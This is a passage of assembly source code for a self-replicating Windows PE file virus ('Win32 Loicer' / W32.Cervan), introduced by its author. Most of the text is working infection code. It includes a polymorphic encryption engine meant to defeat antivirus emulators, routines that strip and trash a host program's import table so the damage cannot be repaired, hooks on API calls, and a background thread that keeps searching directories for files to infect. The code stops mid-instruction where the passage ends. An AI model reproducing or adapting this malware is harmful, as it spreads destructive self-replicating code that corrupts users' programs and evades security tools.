This is my biggest PE virus, it's about 3500 lines, the virus binary size is more than 6K. Maybe this is my last virus. I've decided to exit from the VXer scene. It's a pity that there are too many bugs in it. There are two major bugs in the original version, one is the second threads can dead lock under some certain condition, the other is I didn't use any SEH in it, so it will crash when scanning some DOS executables. I've patched the second bugs in this source code. This virus' main feature: 1, Simple polymorphism engine. This engine is my first poly engine. It's very simple, but seems this engine can make some AV software hang the OS. Some AV s/w's virtual machine can't run it correctly. 2, Unrecoverable infection. After infection, the host PE file structure has been destroyed and almost impossible to recovery. 3, Full EPO. It doesn't modify the entry point. It uses a new infection method. It removes the host file's import table and stored the import DLLs and APIs name in its own buffer. Then it builds a new import table which only imports LoadLibraryA and GetProcAddress, this two APIs are enough for it to import all its and the host file's needed APIs. This is how it destroy the host file. To implement EPO, it hook many APIs which imported by the host file. 4, Both directly and indirectly infect. As I've said, it hooks many APIs (about 15 APIs with both ANSI and Unicode version), so it only infects when the hooked APIs are called. But when the infection is triggered, it will active the second thread to do a short coninuous infection by searching the directory. To learn more about this virus, you can visit Symantec website and read the write up about virus W32.Cervan. Bye, the virus world, bye, the Chinese VXer scene. You can contact me by mail vancheer@hotmail.com ` .586 .model flat include kernel32.inc include user32.inc include win32.inc includelib kernel32.lib includelib user32.lib DEBUG = 0 if DEBUG addrGetLastError = 77e8668ch addrOutputDebugStringA = 77ea0c93h DEBUGBREAK equ int 3 else display 'Warning!!! This is release version!!!' endif MIN_SIZE_TO_INFECT equ (16*1024) SECTION_QUERY equ 0001h SECTION_MAP_WRITE equ 0002h SECTION_MAP_READ equ 0004h SECTION_MAP_EXECUTE equ 0008h SECTION_EXTEND_SIZE equ 0010h FILE_MAP_COPY equ SECTION_QUERY FILE_MAP_WRITE equ SECTION_MAP_WRITE FILE_MAP_READ equ SECTION_MAP_READ ;FILE_MAP_ALL_ACCESS equ SECTION_ALL_ACCESS PAGE_NOACCESS equ 01h PAGE_READONLY equ 02h PAGE_READWRITE equ 04h PAGE_WRITECOPY equ 08h PAGE_EXECUTE equ 10h PAGE_EXECUTE_READ equ 20h PAGE_EXECUTE_READWRITE equ 40h PAGE_EXECUTE_WRITECOPY equ 80h PAGE_GUARD equ 100h PAGE_NOCACHE equ 200h PAGE_WRITECOMBINE equ 400h MEM_COMMIT equ 1000h MEM_RELEASE equ 8000h PTADD = 0 PTSUB = 1 PTROR = 2 PTROL = 3 PTXOR = 4 PTBSWAP = 5 PTNONE = 38h PTNUM = 6 PolyUnit struc PUType db ? PUKey dd ? db 3 dup(?) ;for align PolyUnit ends PolyVar struc PVReg db 8 dup(?) PolyVar ends FileMapper struct FMBuffer dd ? FMFileName dd ? FMFileHandle dd ? FMMapHandle dd ? FMFileSize dd ? FMFileAttr dd ? FMFileTime dd 2*3 dup(?) FMPEBase dd ? FMCurPtr dd ? FMImportAPINum dd ? FMImportPA dd ? FMImportThunkPA dd ? FMImportStringPA dd ? FMDataStartPA equ FMImportStringPA FMVirImportPA dd ? FMVirStartPA dd ? FMVirEntryPA dd ? FMPolyPA dd ? FMDataSize dd ? ;the size of can encrypt data FMLoadLibraryAPA dd ? FMGetProcAddressPA dd ? FMPolyUnit PolyUnit 32 dup(<>) FMPolyVar PolyVar <> FileMapper ends IMPORT_IS_ORD = 1 IMPORT_IS_NAME = 2 VIR_IMPORT_SIZE = 95 DEFUNICODE macro sym,str &sym: irpc c,str dw '&c' endm dw 0 endm .data cap db 'Caption',0 msg db 'Message',0 fn db 'tfuck.exe',0 TmpBuffer db 3 dup(0) TmpPolyVar db 8 dup(0) TmpPolyUnit PolyUnit 500 dup(<>) wildfn db 'd:/asm/mv/*.*',0 DEFUNICODE fnW, DEFUNICODE wildfnW, strKernel32 db 'kernel32.dll',0 strLoadLibraryA db 'LoadLibraryA',0 strGetProcAddress db 'GetProcAddress',0 .code VirStart: cld call ImportBuildIP ImportBuildIP: pop edx cld call GetVirAPIAddress lea esi,[edx+VirStart-ImportBuildIP] mov edi,VirVirtualSize call VirAlloc mov ecx,VirSize xchg eax,edi lea edx,[edi+ImportBuildIP-VirStart] rep movsb mov eax,edx add eax,VirContinue-ImportBuildIP jmp eax VirContinue: ;Initialize some variant xor ecx,ecx mov [edx+CanSearchTick-ImportBuildIP],ecx pushad mov esi,edx push ecx push ecx push ecx push ecx call [esi+addrCreateEventA-ImportBuildIP] mov [esi+VirEventHandle-ImportBuildIP],eax xor ecx,ecx push eax push esp push ecx push ecx lea eax,[esi+SearchThread-ImportBuildIP] push eax push ecx push ecx call [esi+addrCreateThread-ImportBuildIP] pop eax popad mov esi,12345678h ;Redirected import table offset RVAImportString equ $-4 ;Decrypt import string push esi mov edi,esi mov ecx,12345678h DecryptImportCount equ $-4 DecryptImportLoop: lodsb xor al,0 DecryptImportXorKey equ $-1 ror al,0 DecryptImportRorKey equ $-1 stosb loop DecryptImportLoop DecryptImportEnd: pop esi mov eax,[esp+9*4] ;API ordinal push eax push large ecx ;API count=0 mov ebp,esp mov edi,87654321 ;Import table address RVAImportPA equ $-4 lea ebx,[edx+ImportBuildCallback-ImportBuildIP] sub edi,4 ImportBuildLoop: add edi,4 push edi mov edi,[edi] call VirGetAddress pop edi cmp byte ptr [esi],0 jnz short ImportBuildLoop pop eax pop eax mov [esp+9*4],eax popfd popad retn ImportBuild_end: ImportBuildCallback: push ecx push edi pushfd or eax,eax jz short ImportBuildCallbackNotHook call ImportBuildCallbackIP ImportBuildCallbackIP: pop edx std lea edi,[edx+HookAPITable+HookNum*4-4-ImportBuildCallbackIP] push large HookNum pop ecx repnz scasd jnz short ImportBuildCallbackNotHook lea edi,[edx+ecx*2+HookProcTable-ImportBuildCallbackIP] movzx eax,word ptr [edi] lea edi,[edx+VirStart-ImportBuildCallbackIP] add eax,edi ImportBuildCallbackNotHook: mov edx,[ebp] cmp edx,[ebp+4] jnz short ImportBuildCallback1 mov [ebp+4],eax ImportBuildCallback1: inc dword ptr [ebp] popfd pop edi pop ecx retn ImportBuildCallback_end: ;Get the API address used by vir ;Param: edx=>ImportBuildIP GetVirAPIAddress: pushad xor ebx,ebx lea esi,[edx+Kernel32APIName-ImportBuildIP] lea edi,[edx+Kernel32APIAddr-ImportBuildIP] call VirGetAddress lea esi,[edx+Shell32APIName-ImportBuildIP] lea edi,[edx+Shell32APIAddr-ImportBuildIP] call VirGetAddress lea esi,[edx+SfcAPIName-ImportBuildIP] lea edi,[edx+SfcAPIAddr-ImportBuildIP] call VirGetAddress lea esi,[edx+ComDlg32APIName-ImportBuildIP] lea edi,[edx+ComDlg32APIAddr-ImportBuildIP] call VirGetAddress lea esi,[edx+User32APIName-ImportBuildIP] lea edi,[edx+User32APIAddr-ImportBuildIP] call VirGetAddress popad retn GetVirAPIAddress_end: ;Redirected import table ;db kernel32.dll ;db 1,db CreateFileA ;db 2 dw hint ;db WriteFile ;db 0 ;db user32.dll ;........ ;db 0 ;db 0 ;Load DLL and get all api address ;Param: esi->DLL name,edi->address,ebx->call back function,ebp=param for the callback ;Return: esi->after null byte ;Callback param: eax=API address,ebp=user defined param,edi->address API to store to ;Callback return: eax=API address to store VirGetAddress: push edx mov edx,12345678h ;RVA of LoadLibraryA RVALoadLibraryA equ $-4 mov eax,esi call VirGetStrTail xchg eax,esi push dword ptr [eax] push eax mov byte ptr [eax],0 push esi call [edx] mov ecx,eax pop eax pop dword ptr [eax] xchg esi,eax VirGetAddressLoop: lodsb or al,al jz short VirGetAddressRet push ebp push ecx cmp al,IMPORT_IS_NAME jz short VirGetAddressIsName xor eax,eax lodsw mov ebp,[esi] push esi push eax jmp short VirGetAddress1 VirGetAddressIsName: push esi call VirGetStrTail mov ebp,[esi] mov byte ptr [esi],0 xchg esi,[esp] push esi VirGetAddress1: push ecx mov edx,55667788h; RVA of GetProcAddress RVAGetProcAddress equ $-4 call [edx] pop esi mov [esi],ebp pop ecx pop ebp or ebx,ebx jz short VirGetAddressNoCallback call ebx VirGetAddressNoCallback: stosd jmp short VirGetAddressLoop VirGetAddressRet: pop edx retn VirGetAddress_end: ;Find the first byte which is less than 6 ;Param: esi->string ;Return: esi->strange byte VirGetStrTail: dec esi VirGetStrTailLoop: inc esi cmp byte ptr [esi],5 ja short VirGetStrTailLoop retn VirGetStrTail_end: ;Infect a file ;Param: edi->FileName InfectFile: pushad call InfectFileIP InfectFileIP: pop ebp cld or edi,edi jz InfectFileRet mov esi,edi call VirGetStrTail if DEBUG mov eax,[esi-8] call EAXToLowcase cmp eax,'kcuf' ;if debuging,only infect *fuck.exe jnz InfectFileRet endif mov eax,[esi-4] call EAXToLowcase cmp eax,'exe.' jz short InfectFileStart cmp eax,'rcs.' jnz InfectFileRet InfectFileStart: call IsInDllCache jnz InfectFileRet ;Check for SFC mov ecx,[ebp+addrSfcIsFileProtected-InfectFileIP] jecxz CheckSFCEnd ;is not Win2K,don't check SFC mov esi,1000 sub esp,esi mov eax,esp push ecx push large 500 push eax push large -1 push edi push large 1 ;MB_PRECOMPOSED push large 0 ;CP_ACP call [ebp+addrMultiByteToWideChar-InfectFileIP] pop ecx push esp push large 0 call ecx add esp,esi or eax,eax jnz InfectFileRet CheckSFCEnd: sub esp,size FileMapper mov esi,esp call MapFile jz InfectFileFailMap push esi push ebp lea ecx,[ebp+InfectFileSEH-InfectFileIP] push ecx xor ecx,ecx push dword ptr fs:[ecx] mov fs:[ecx],esp mov [ebp+InfectFileESP-InfectFileIP],esp cmp [esi].FMFileSize,16*1024 ;only infect files size bigger than 16K jc InfectFileUnmap mov ebx,eax call CheckPE jz InfectFileUnmap mov [esi].FMPEBase,eax ;Check whether it's a WinZip Self-Extractor file movzx edx,word ptr [eax+14h] mov edx,[eax+edx+18h+14h+28h] ;ebx->the second section's PointerToRawData add edx,ebx cmp dword ptr [edx+10h],'ZniW' jnz NotWinzip cmp word ptr [edx+10h+4],'pi' jz InfectFileUnmap NotWinzip: ;Check whether the file is a SFX(RAR file) xor edi,edi call get_section_of_rva mov ecx,[edx+0ch] add ecx,[edx+8] mov edx,ecx shr ecx,3 add ecx,edx cmp ecx,[esi].FMFileSize jna InfectFileUnmap add edx,ebx ;now ecx->perhaps rar file header cmp dword ptr [edx],21726152h ;test for rar signature jz InfectFileUnmap mov edi,[eax+80h] ;Import Table RVA call get_section_of_rva jz InfectFileUnmap ;No import table or byte ptr [edx+1ch+3],80h ;modify raw import section as writable call RVAToPA add edi,ebx ;Check infected.If there is only one DLL loaded,it's infected. cmp dword ptr [edi+3*4],0 jz InfectFileUnmap ;has no import table cmp dword ptr [edi+3*4+5*4],0 ;next dll name jz InfectFileUnmap ;hasn't second dll,maybe infected add ebx,[esi].FMFileSize mov [esi].FMCurPtr,ebx push edi push eax lea edi,[eax+0d0h] lea ecx,[eax+0a0h] xor eax,eax stosd ;Clear import bind entry stosd stosd ;Clear Import Address Table entry stosd xchg ecx,edi stosd ;Clear relocation stosd pop eax pop edi call RedirectImpoartTable mov ebx,[esi].FMCurPtr call BuildVirImportTable mov ebx,[esi].FMCurPtr mov edi,ebx call PolyGenGarbageBuffer ;insert some garbage code push eax mov [esi].FMVirEntryPA,edi mov ax,9c60h ;pushad/pushfd stosw add edi,10 ; space for two mov reg32,imm32,must be 10 bytes pop eax mov [esi].FMPolyPA,edi push ebp push esi push eax call VirGetRand xchg eax,edx and dl,1 add dl,6 ;use esi or edi as pointer reg and dh,3 ;use common reg as counter lea ebp,[esi].FMPolyVar lea esi,[esi].FMPolyUnit call VirPoly pop eax pop esi pop ebp mov [esi].FMVirStartPA,edi push esi lea esi,[ebp+VirStart-InfectFileIP] mov ecx,VirSize rep movsb pop esi call PolyGenGarbageBuffer ;insert some garbage code mov [esi].FMCurPtr,edi ;Initialize some variant pushad mov ecx,[esi].FMVirStartPA mov edi,[esi].FMLoadLibraryAPA call RealPAToRVA mov [ecx+RVALoadLibraryA-VirStart],edi mov edi,[esi].FMGetProcAddressPA call RealPAToRVA mov [ecx+RVAGetProcAddress-VirStart],edi mov edi,[esi].FMImportPA call RealPAToRVA mov [ecx+RVAImportPA-VirStart],edi mov edi,[esi].FMImportStringPA push edi call RealPAToRVA mov [ecx+RVAImportString-VirStart],edi pop edi ;Encrypt import string pushad mov edx,[esi].FMDataSize mov [ecx+DecryptImportCount-VirStart],edx call VirGetRand mov [ecx+DecryptImportRorKey-VirStart],al mov [ecx+DecryptImportXorKey-VirStart],ah mov cl,al mov esi,edi EncryptImportLoop: lodsb rol al,cl xor al,ah stosb dec edx jnz short EncryptImportLoop popad mov edi,ecx call RealPAToRVA mov ecx,[esi].FMVirEntryPA mov al,0b8h or al,dl mov [ecx+2],al mov [ecx+3],edi ;Encrypt virus body mov ebx,ecx mov edi,[esi].FMVirStartPA lea esi,[esi].FMPolyUnit mov ecx,VirSize call VirEncrypt mov al,0b8h or al,dh mov [ebx+7],al mov [ebx+8],ecx popad call FillThunkCode ;Save vir import entry mov edi,[esi].FMVirImportPA sub edi,[esi].FMBuffer call PAToRVA mov [eax+80h],edi push large VIR_IMPORT_SIZE pop dword ptr [eax+84h] ;Enlarge the file xor edi,edi call get_section_of_rva mov ecx,[esi].FMCurPtr sub ecx,[esi].FMBuffer sub ecx,[edx+0ch] call RouncECX cmp ecx,[edx] jc short InfectFileRound1 mov [edx],ecx InfectFileRound1: cmp ecx,[edx+8] jc short InfectFileRound2 mov [edx+8],ecx InfectFileRound2: mov ecx,[edx+0ch] add ecx,[edx+8] mov [esi].FMFileSize,ecx push ecx mov ecx,[edx] add ecx,[edx+4] call RouncECX mov [eax+50h],ecx ;SizeOfImage or dword ptr [edx+1ch],60000020h or 40000040h or 80000000h ;Calc eheck sum pop ecx lea ebx,[eax+58h] ;CheckSum xor edx,edx cmp dword ptr [ebx],edx jz short NoChecksum mov dword ptr [ebx],edx mov esi,[esi].FMBuffer push ecx shr ecx,1 clc ChecksumLoop: lodsw adc dx,ax loop ChecksumLoop pop ecx add edx,ecx mov [ebx],edx NoChecksum: InfectFileUnmap: mov esp,12345678h InfectFileESP equ $-4 xor ecx,ecx pop dword ptr fs:[ecx] ; restore except chain pop ecx pop ecx pop esi call UnmapFile InfectFileFailMap: add esp,size FileMapper InfectFileRet: popad retn InfectFile_end: InfectFileSEH: call InfectFileSEHIP InfectFileSEHIP: pop eax lea eax,[eax+InfectFileUnmap-InfectFileSEHIP] push eax mov eax,[esp + 0ch+4] pop dword ptr [eax + 0B8h] xor eax,eax retn InfectFileSEH_end: RealPAToRVA: sub edi,[esi].FMBuffer call PAToRVA add edi,[eax+34h] ;ImageBase retn RealPAToRVA_end: ;Round ecx to 1000h RouncECX: test cx,0fffh jz short RouncECX1 and cx,0f000h add ecx,1000h RouncECX1: retn RouncECX_end: ;Fill the raw import table to our entry ;Param: eax->PE base,esi->FilaMapper FillThunkCode: pushad mov ecx,[esi].FMImportAPINum mov edi,[esi].FMVirEntryPA sub edi,[esi].FMBuffer call PAToRVA mov edx,edi mov edi,[esi].FMImportThunkPA mov ebx,edi sub edi,[esi].FMBuffer call PAToRVA sub edx,edi FillThunkCodeLoop: sub edx,1+4+1+4 mov byte ptr [ebx+1+4],0e9h mov [ebx+1+4+1],edx add ebx,1+4+1+4 loop FillThunkCodeLoop popad retn FillThunkCode_end: ;Param: esi->FileMapper,eax->PE base,DF=0 BuildVirImportTable: pushad call BuildVirImportTableIP BuildVirImportTableIP: pop ebp xor edi,edi call get_section_of_rva mov ecx,edx mov edi,[eax+28h] call get_section_of_rva push eax cmp edx,ecx jnc BuildVirImportTableNoCavPop ;is the last section lea eax,[edx+8] mov ebx,[eax] cmp ebx,[edx] jc short BuildVirImportTableFindCav2 mov ebx,[edx] mov eax,edx BuildVirImportTableFindCav2: or ebx,ebx jz BuildVirImportTableNoCavPop ;the minor size is zero,don't use it mov edi,[edx+28h+0ch] ;next section's PointerToRawData add ebx,[edx+0ch] sub edi,ebx cmp edi,VIR_IMPORT_SIZE+10 jle short BuildVirImportTableNoCavPop mov edi,ebx add edi,[esi].FMBuffer add dword ptr [eax],VIR_IMPORT_SIZE+10 ;enlarge raw data size or dword ptr [edx+1ch],60000020h or 40000040h or 80000000h and dword ptr [edx+1ch],not 02020000 ;remove discardable Characteristics jmp short BuildVirImportTableBeginBuild BuildVirImportTableNoCavPop: mov edi,[esi].FMCurPtr BuildVirImportTableBeginBuild: pop eax mov [esi].FMVirImportPA,edi push eax xor eax,eax push large 5*2+3 pop ecx rep stosd pop eax push edi push esi push large VirImportTableStringSize pop ecx lea esi,[ebp+VirImportTable-BuildVirImportTableIP] rep movsb pop esi cmp edi,[esi].FMCurPtr jb short BuildVirImportTableInner mov [esi].FMCurPtr,edi BuildVirImportTableInner: pop edi lea edx,[edi-3*4-5*4-2*4] ;->DLL name RVA sub edi,[esi].FMBuffer call PAToRVA mov [edx],edi sub edi,3*4 mov [edx+4],edi add edx,5*4+2*4 add edi,3*4+12 mov [edx],edi mov [esi].FMLoadLibraryAPA,edx add edi,14 add edx,4 mov [edx],edi mov [esi].FMGetProcAddressPA,edx popad retn BuildVirImportTable_end: comment $ Redirect Import Table format db 'kernel32.dll' db IMPORT_IS_NAME,'CreateFileA' db IMPORT_IS_ORD,1,2 db IMP... db 0 next dll db 0 Import Thunk Code format push large ordinal jmp vircode $ ;Param: edi->Raw import table,esi->FileMapper,eax->PE base,DF=0 RedirectImpoartTable: pushad mov ebx,[esi].FMCurPtr mov [esi].FMImportStringPA,ebx push edi push eax mov edx,edi sub edx,5*4 RedirectImpoartTableLoop: add edx,5*4 mov edi,[edx+4*3] ;edi->DLL name RVA or edi,edi jz short RedirectImpoartTableThunk mov eax,[esi].FMPEBase call RVAToPA mov ecx,[esi].FMBuffer add edi,ecx push eax ;Copy DLL name RedirectImpoartTable1: mov al,[edi] mov [ebx],al mov byte ptr [edi],0 ;trash the DLL name inc edi inc ebx or al,al jnz short RedirectImpoartTable1 dec ebx ;no tail null byte ;Some APPs' FirstThunk not point to vaild address ;so we must use Characteristics at first mov edi,[edx] ;edi->DLL Characteristics or edi,edi jnz short RedirectImpoartTableUseDLLChar mov edi,[edx+4*4] ;edi->FirstThunk RVA RedirectImpoartTableUseDLLChar: pop eax call RVAToPA add edi,ecx sub edi,4 RedirectImpoartTableAPILoop: add edi,4 mov ecx,[edi] mov byte ptr [ebx],0 inc ebx jecxz RedirectImpoartTableLoop dec ebx test ecx,80000000h jnz short RedirectImpoartTableIsOrd xchg ecx,edi call RVAToPA xchg ecx,edi add ecx,[esi].FMBuffer inc ecx inc ecx ;Skip ordinal mov byte ptr [ebx],IMPORT_IS_NAME inc ebx ;Copy API name RedirectImpoartTable2: push eax mov al,[ecx] mov [ebx],al mov byte ptr [ecx],0 ;trash API name inc ebx inc ecx or al,al pop eax jnz short RedirectImpoartTable2 dec ebx ;no tail null byte jmp short RedirectImpoartTableAPILoop RedirectImpoartTableIsOrd: mov byte ptr [ebx],IMPORT_IS_ORD inc ebx mov word ptr [ebx],cx inc ebx inc ebx jmp short RedirectImpoartTableAPILoop ;Generate thunk code RedirectImpoartTableThunk: mov eax,ebx sub eax,[esi].FMImportStringPA mov [esi].FMDataSize,eax mov byte ptr [ebx],0 ;import table tail null byte inc ebx mov dword ptr [esi].FMImportAPINum,0 pop eax ;PE base pop edx ;Import table mov [esi].FMImportThunkPA,ebx push edx push eax sub edx,4*5 RedirectImpoartTableThunkLoop: add edx,4*5 cmp dword ptr [edx+3*4],0 jz short RedirectImpoartTableTrash mov edi,[edx+4*4] call RVAToPA add edi,[esi].FMBuffer sub edi,4 RedirectImpoartTableThunkAPILoop: add edi,4 mov ecx,edi cmp dword ptr [ecx],0 jz short RedirectImpoartTableThunkLoop push edi mov edi,ebx sub edi,[esi].FMBuffer call PAToRVA add edi,[eax+34h] ;ImageBase mov [ecx],edi ;Redirect import address to our thunk code pop edi mov byte ptr [ebx],68h ;push imm32 inc ebx push dword ptr [esi].FMImportAPINum pop dword ptr [ebx] inc dword ptr [esi].FMImportAPINum add ebx,4+1+4 jmp short RedirectImpoartTableThunkAPILoop ;Trash import table structure,build the DLL APIs table RedirectImpoartTableTrash: pop edx pop edi mov [esi].FMImportPA,ebx xor eax,eax RedirectImpoartTableTrashLoop: mov [ebx],eax cmp dword ptr [edi+3*4],0 jz short RedirectImpoartTableRet mov ecx,[edi+4*4] add ecx,[edx+34h] ;ImageBase mov [ebx],ecx push large 5 pop ecx rep stosd ;trash import table structure add ebx,4 jmp short RedirectImpoartTableTrashLoop RedirectImpoartTableRet: mov [esi].FMCurPtr,ebx popad retn RedirectImpoartTable_end: ;Param: edi=size in byte to alloc ;Return: eax->Buffer VirAlloc: pushad call VirAllocIP VirAllocIP: pop ebp push large PAGE_EXECUTE_READWRITE push large MEM_COMMIT push edi push large 0 call [ebp+addrVirtualAlloc-VirAllocIP] call SetMemZero mov [esp+7*4],eax popad retn VirAlloc_end: ;Param: eax->Buffer,edi=size in byte to alloc,DF=0 SetMemZero: pushad mov ecx,edi mov edi,eax xor eax,eax rep stosb popad retn SetMemZero_end: ;Parem: ebx->image base ;Return: ZF not set,is valid PE,ZF set,invalid,eax->PE base CheckPE: push ecx xor ecx,ecx cmp word ptr [ebx],'ZM' jnz short CheckPERet mov eax,[ebx+3ch] cmp eax,4*1024 ja short CheckPERet add eax,ebx cmp word ptr [eax],'EP' jnz short CheckPERet test byte ptr [eax+16h+1],20h ;Is a DLL? jnz short CheckPERet mov dl,[eax+5ch] ;Subsystem and dl,0feh cmp dl,2 jnz short CheckPERet inc ecx CheckPERet: or ecx,ecx pop ecx retn CheckPE_end: ;Get the section of a RVA ;in--eax=PE base,edi=RVA to find ;out--edx->section header.VirtualSize,ecx=0 means not found ;if not found,edx=>last section header.VirtualSize get_section_of_rva: push esi push ecx movzx edx,word ptr [eax+14h] lea edx,[eax+edx+18h+8-28h] ;->before first section header.VirtualSize movzx ecx,word ptr [eax+6] inc ecx get_section_of_rva_1: dec ecx jecxz get_section_of_rva_2 add edx,28h ;->VirtualSize mov esi,[edx+4]; esi=VirtualAddress cmp edi,esi ;RVAbefore first section header.VirtualSize movzx ecx,word ptr [eax+6] inc ecx PAToRVA_1: dec ecx jecxz PAToRVA_2 add edx,28h cmp edi,[edx+28h+0ch];next section PointerToRawData jnb short PAToRVA_1 PAToRVA_2: sub edi,[edx+0ch] add edi,[edx+4] pop edx pop ecx retn PAToRVA_end: ;Create a file mapping ;Param: esi->FileMapper edi->FileName MapFile: push ebp push ebx call MapFileIP MapFileIP: pop ebp push large (size FileMapper) - 1 pop ecx xor eax,eax MapFileInit: mov byte ptr [esi+ecx],al loop MapFileInit mov dword ptr [esi],eax mov [esi].FMFileName,edi push edi call [ebp+addrGetFileAttributesA-MapFileIP] mov [esi].FMFileAttr,eax and eax,not FILE_ATTRIBUTE_READONLY push eax push edi call [ebp+addrSetFileAttributesA-MapFileIP] push large 0 push large FILE_ATTRIBUTE_ARCHIVE or FILE_ATTRIBUTE_HIDDEN push large OPEN_EXISTING push large 0 push large FILE_SHARE_READ push large GENERIC_WRITE or GENERIC_READ push edi call [ebp+addrCreateFileA-MapFileIP] inc eax jz short MapFileRet mov [esi].FMFileHandle,eax dec eax lea ebx,[esi].FMFileTime push ebx ;ebx->file last write time add ebx,8 push ebx add ebx,8 push ebx push eax call [ebp+addrGetFileTime-MapFileIP] push ecx push esp ;->file size high push [esi].FMFileHandle call [ebp+addrGetFileSize-MapFileIP] pop ecx inc eax jz MapFileRet dec eax or ecx,ecx jnz MapFileRet mov [esi].FMFileSize,eax xchg eax,ebx add ebx,256*1024 ; 256K buffer xor edx,edx push edx push ebx push edx push large PAGE_READWRITE push edx push [esi].FMFileHandle call [ebp+addrCreateFileMappingA-MapFileIP] or eax,eax jz MapFileRet mov [esi].FMMapHandle,eax push ebx push large 0 push large 0 push large FILE_MAP_WRITE push eax call [ebp+addrMapViewOfFile-MapFileIP] mov [esi].FMBuffer,eax MapFileRet: pop ebx pop ebp mov eax,[esi].FMBuffer or eax,eax ret MapFile_end: ;Unmap a file mapping ;Param: esi->FileMapper UnmapFile: pushad call UnmapFileIP UnmapFileIP: pop ebp push [esi].FMBuffer call [ebp+addrUnmapViewOfFile-UnmapFileIP] push [esi].FMMapHandle call [ebp+addrCloseHandle-UnmapFileIP] push large 0 push large 0 push [esi].FMFileSize push [esi].FMFileHandle call [ebp+addrSetFilePointer-UnmapFileIP] mov edi,[esi].FMFileHandle push edi call [ebp+addrSetEndOfFile-UnmapFileIP] lea ebx,[esi].FMFileTime push ebx add ebx,8 push ebx add ebx,8 push ebx push edi call [ebp+addrSetFileTime-UnmapFileIP] push edi call [ebp+addrCloseHandle-UnmapFileIP] push [esi].FMFileAttr push [esi].FMFileName call [ebp+addrSetFileAttributesA-UnmapFileIP] popad retn UnmapFile_end: EAXToLowcase: push ecx push large 4 pop ecx EAXToLowcase_0: cmp al,'A' jc EAXToLowcase_1 cmp al,'Z' ja EAXToLowcase_1 add al,'a'-'A' EAXToLowcase_1: ror eax,8 loop EAXToLowcase_0 pop ecx retn EAXToLowcase_end: ;Check whether the path include 'tem32/dllcach'('system32/dllcache') ;Param: edi->full path file name,esi->tail of file name ;Return: ZF=0 means is,ZF=1 means not IsInDllCache: pushad xor ebx,ebx xchg esi,edi IsInDllCacheLoop: push esi lodsd call EAXToLowcase cmp eax,'3met' jnz short IsInDllCacheNext lodsd call EAXToLowcase cmp eax,'ld/2' jnz short IsInDllCacheNext lodsd call EAXToLowcase cmp eax,'cacl' jnz short IsInDllCacheNext inc ebx jmp short IsInDllCacheRet IsInDllCacheNext: pop esi inc esi lea eax,[esi+10] cmp eax,edi jc short IsInDllCacheLoop push esi IsInDllCacheRet: pop esi or ebx,ebx popad retn IsInDllCache_end: db 'Win32 Loicer by Vancheer/CVC,made in China,2002' ;Param: esi->PolyUnit,edi->buffer to encrypt,ecx=buffer size ;Return: ecx=rounded size VirEncrypt: call VirGetEncryptSize pushad mov ebp,esi ;We must reverse the decrypt order generated by the poly engine VirEncryptReverseLoop: cmp [esi].PUType,PTNONE jz short VirEncryptBegin add esi,size PolyUnit jmp short VirEncryptReverseLoop VirEncryptBegin: VirEncryptDataLoop: mov ebx,[edi+ecx] push esi VirEncryptTypeLoop: sub esi,size PolyUnit mov al,[esi].PUType mov edx,[esi].PUKey cmp al,PTXOR jnz short VirEncrypt_1 xor ebx,edx jmp short VirEncryptNextType VirEncrypt_1: cmp al,PTADD jnz short VirEncrypt_2 sub ebx,edx jmp short VirEncryptNextType VirEncrypt_2: cmp al,PTSUB jnz short VirEncrypt_3 add ebx,edx jmp short VirEncryptNextType VirEncrypt_3: cmp al,PTROR jnz short VirEncrypt_4 push ecx mov cl,dl rol ebx,cl pop ecx jmp short VirEncryptNextType VirEncrypt_4: cmp al,PTROL jnz short VirEncrypt_5 push ecx mov cl,dl ror ebx,cl pop ecx jmp short VirEncryptNextType VirEncrypt_5: bswap ebx VirEncryptNextType: cmp esi,ebp jnz short VirEncryptTypeLoop VirEncryptNextData: pop esi mov [edi+ecx],ebx sub ecx,4 jge VirEncryptDataLoop popad retn VirEncrypt_end: ;Param: ecx=buffer size ;Return: ecx=rounded buffer size VirGetEncryptSize: and cl,0fch ;round to 4 sub ecx,4 retn VirGetEncryptSize_end: ;Param: esi->PolyUnit,edi->poly output buffer,ebp->PolyVar ; dl=reg for pointer(not ebp,esp),dh=reg for count,the count must be dividable by 4 VirPoly: pushad call VirGetRand movzx ecx,al and cl,0fh add cl,08h ;15-23 layers poly push ecx mov al,PTNONE VirPolyLoop: call PolyInitVar ;don't generate code before PolyInitVar call PolyGenGarbage push eax call VirPolyHelp ;mov a dword to a random reg pop eax push ecx push edx ;save two reg push eax call VirGetRand mov [esi].PUKey,eax xchg edx,eax pop eax call PolyGetType mov [esi].PUType,al add esi,size PolyUnit mov [esi].PUType,PTNONE xchg edx,[esp] call PolyGenGarbage xchg edx,[esp] cmp al,PTXOR jnz short VirPoly_2 ;Method XOR call PolyXorReg32Imm jmp short VirPolyNext VirPoly_2: cmp al,PTADD jnz short VirPoly_3 ;Method add call PolyAddReg32Imm jmp short VirPolyNext VirPoly_3: cmp al,PTSUB jnz short VirPoly_4 ;Method sub call PolySubReg32Imm jmp short VirPolyNext VirPoly_4: cmp al,PTROR jnz short VirPoly_5 ;Method ROR mov dh,8 call PolyRollReg32Imm8 jmp short VirPolyNext VirPoly_5: cmp al,PTROL jnz short VirPoly_6 ;Method ROL xor dh,dh call PolyRollReg32Imm8 jmp short VirPolyNext VirPoly_6: ;Method BSWAP call PolyBswapReg32 ; jmp short VirPolyNext VirPolyNext: pop edx pop ecx call PolyGenGarbage call PolyGenSafeGarbage call PolyMovMemReg32 call PolyGenGarbage dec dword ptr [esp] jnz VirPolyLoop pop ecx ; mov cl,dh ; call PolyCmpReg32_0 ;sub count reg,4 mov cl,dh push large 4 pop edx call PolySubReg32Imm ;jnl xxxxxxxx mov ax,8d0fh stosw mov eax,[esp] sub eax,edi sub eax,4 stosd pop eax push edi popad retn VirPoly_end: ;Param: ebp->PolyVar ; dl=reg for pointer(not ebp,esp),dh=reg for count,the count must be dividable by 4 PolyInitVar: pushad xor ecx,ecx mov [ebp],ecx mov [ebp+4],ecx mov bl,1 mov cl,dl mov [ebp+ecx],bl movzx ecx,dh mov [ebp+ecx],bl popad retn PolyInitVar_end: VirPolyHelp: stc call PolyGetReg movzx eax,bl mov byte ptr [ebp+eax],1 mov cl,bl push ecx call PolyMovReg32Mem pop ecx retn VirPolyHelp_end: ;Generate some garbage to a buffer PolyGenGarbageBuffer: pushad sub esp,size PolyVar mov ebp,esp ;Make the reg as ebp,ebp,only an address,not useful mov edx,0505h call PolyInitVar call VirGetRand and eax,0fh add al,0fh ;15-31 garbage push eax PolyGenGarbageBufferLoop: call PolyGenSafeGarbage dec dword ptr [esp] jnz short 